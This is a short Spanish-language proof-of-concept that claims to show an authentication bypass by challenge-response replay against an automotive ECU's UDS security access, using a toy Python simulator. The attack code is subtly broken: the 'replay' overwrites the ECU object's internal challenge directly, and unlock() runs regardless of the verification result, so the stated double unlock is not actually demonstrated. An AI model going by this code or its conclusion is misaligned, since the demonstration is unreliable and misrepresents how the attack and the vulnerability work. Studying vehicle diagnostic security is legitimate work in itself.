
Exploit de prueba de concepto que demuestra el bypass de autenticación UDS mediante replay de desafío-respuesta en ECUs automotrices, con simulador Python CAN-UDS.
# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib
class ECU:
def __init__(self):
self.secret = b'long_secret_key'
def generate_challenge(self):
self.challenge = random.randbytes(8)
return self.challenge
def verify_response(self, response):
expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
return response == expected
def unlock(self):
print("ECU unlocked! Critical functions accessible.")
# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response) # first unlock
# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response) # second unlock without new challenge - works
ecu.unlock()
Una ECU de automoción implementa el acceso de seguridad de los Servicios de Diagnóstico Unificados (UDS) (servicio 0x27), pero no impone el uso de un desafío de un solo uso. Un atacante puede capturar un par desafío‑respuesta válido y repetirlo para omitir la autenticación.
Ejecute la simulación:
python uds_sim.py
La ECU se desbloquea dos veces con el mismo par de autenticación.